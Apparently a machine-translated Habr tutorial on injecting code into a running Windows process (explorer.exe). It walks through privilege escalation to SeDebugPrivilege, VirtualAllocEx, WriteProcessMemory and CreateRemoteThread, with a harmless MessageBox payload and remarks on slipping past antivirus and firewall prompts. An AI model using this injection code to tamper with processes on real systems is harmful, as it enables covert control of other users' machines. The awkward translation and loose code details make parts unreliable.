DLLインジェクション

DLLインジェクションにより、既に実行中のプロセスのアドレス空間でコードを実行できます。 多くの人々は、感染を使用してゲームのチートを書いたり、システムに対して悪意のあるアクションを実行したりします。 ただし、この手法は、陰湿な計画の実装に適用する必要はありませんが、たとえば、アプリケーションを更新するために必要です。

作業アルゴリズムは非常に単純です。プロセス内にストリームを作成し、そこにコードの実行を実装する必要があります。 たとえば、explorer.exeに感染し、それに関するメッセージを表示します。

必要なデータを取得するための構造を説明しましょう。
typedef FARPROC (WINAPI *LPMessageBox)(HWND, LPCWSTR, LPCWSTR, UINT);

typedef struct _InjectData {
char title[50];
char msg[50];
LPMessageBox MessageB;
} InjectData, *PInjectData;

InjectData injectData = {
"Test" ,
"" ,
NULL
};

次に、ストリームのエントリポイントについて説明します。
static DWORD WINAPI InjectionMain(LPVOID lpParams) {

PInjectData info = (PInjectData)lpParams;

info->MessageB(NULL, (LPCWSTR)info->msg, (LPCWSTR)info->title, MB_OK);
return 0;
}

この例では、非常に簡単です。 その中で、DLLをロードしませんが、ほとんどのタスクで必要になる場合がありますが、このためには、MessageBoxAの場合と同様に、LoadLibraryおよびGetProcAddress関数にポインターを渡し、それらを使用して必要なDLLをロードする必要があります。

ここで、explorer.exeにアクセスし、コード、プロセスのアドレス空間にデータを記述し、コードを実行するプロセスにスレッドを作成する必要があります。

プロセス識別子を返す関数について説明します。
DWORD getProcessID() {
DWORD processID = 0;
HANDLE snapHandle;
PROCESSENTRY32 processEntry = {0};

if ( (snapHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE ) {
return 0;
}

processEntry.dwSize = sizeof (PROCESSENTRY32);
Process32First(snapHandle, &processEntry);
do {
if ( wcscmp(processEntry.szExeFile, PROCESSNAME) == 0 ) {
return processEntry.th32ProcessID;
}
} while (Process32Next(snapHandle,&processEntry));

if ( snapHandle != INVALID_HANDLE_VALUE ) {
CloseHandle(snapHandle);
}

return 0;
}

CreateToolhelp32Snapshot-実際にプロセスとそのスレッドのリストを返します。 リスト全体を巡回し、プロセスが見つかった場合、その識別子または0を返します。識別子を取得したので、OpenProcessを使用してプロセスにアクセスできますが、そのメモリには何も書き込むことができません。 アプリケーションが権利を取得するには、次の機能が必要です。
BOOL setPrivilege(HANDLE hToken, LPCTSTR szPrivName, BOOL fEnable) {
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, szPrivName, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof (tp), NULL, NULL);
return ((GetLastError() == ERROR_SUCCESS));
}

権利についての詳細はこちらをご覧ください 。 1998年の回答にもかかわらず、それはXP SP3と、私が知る限りWindows 7に関連していますが、私はまだ個人的にテストしていません。

これで、プロセスにアクセスするためのすべてができました。
DWORD processID = getProcessID();
HANDLE hCurrentProc = GetCurrentProcess();

if (!OpenProcessToken(hCurrentProc, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {
addLogMessage( "OpenProcessToken Error" , GetLastError());
return 0;
} else {
if (!setPrivilege(hToken, SE_DEBUG_NAME, TRUE)) {
addLogMessage( "SetPrivlegesSE_DEBUG_NAME Error" , GetLastError());
return 0;
}
}

if (processID == 0) {
MessageBox(NULL, _T( "Process not found!" ), _T( "Error" ), MB_OK | MB_ICONERROR);
return 0;
}

processHandel = OpenProcess(PROCESS_ALL_ACCESS, false , processID);

user32.dllにあるMessageBoxA関数へのポインターがありません。
HINSTANCE userHinstance = LoadLibrary(_T( "user32.dll" ));
injectData.MessageB = (LPMessageBox) GetProcAddress(userHinstance, "MessageBoxA" );

それでは、最も興味深い部分、実際の感染に移りましょう。指定されたコードとコードをメモリに書き込み、すべてを開始するストリームを作成します。 メモリを変更するには、VirtualAllocExとWriteProcessMemoryの2つの関数が必要です。
LPVOID lpProc = VirtualAllocEx(processHandel, NULL, ProcSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
LPVOID lpParams = VirtualAllocEx(processHandel, NULL, 1024, MEM_COMMIT, PAGE_READWRITE );
DWORD dwWritten;
if (WriteProcessMemory(processHandel, lpProc, InjectionMain, ProcSize, &dwWritten ) == 0) {
addLogMessage( "WriteProcessMemory error" , GetLastError());
return 0;
}
if (WriteProcessMemory( processHandel, lpParams, &injectData, sizeof (injectData), &dwWritten ) == 0) {
addLogMessage( "WriteProcessMemory error" , GetLastError());
return 0;
}

VirtualAllocEx-プロセスの仮想アドレス空間に物理メモリを提供し、WriteProcessMemoryはデータをプロセスメモリに書き込みます。

ここで、陰湿な計画を実現するプロセスでストリームを作成します。
DWORD ThreadID;
HANDLE hThread = CreateRemoteThread(processHandel, NULL, 0, (LPTHREAD_START_ROUTINE)lpProc, lpParams, 0, &ThreadID);
if (hThread == NULL) {
sprintf_s(buffer, "Error creating thread" );
addLogMessage(buffer, 1001);
}

これが全体像のソースです。Window7でテストしなかったことを繰り返しますが、動作するはずです。 確かに、新しいファイアウォールはどのように動作するのだろうか、Windows XPではメモリの変更を検出しませんでした。 この方法はウイルス対策プログラムを恐れず、メモリを変更する試みを通知するため、敵はファイアウォールにすぎません。 しかし、実践が示すように、多くの人々はそのようなメッセージをたたきます。感染するアプリケーションの名前も正常であれば、もちろんファイアウォールがパラノイドモードでない限り、上級ユーザーでもスキップします。

Source: https://habr.com/ru/post/J73324/


All Articles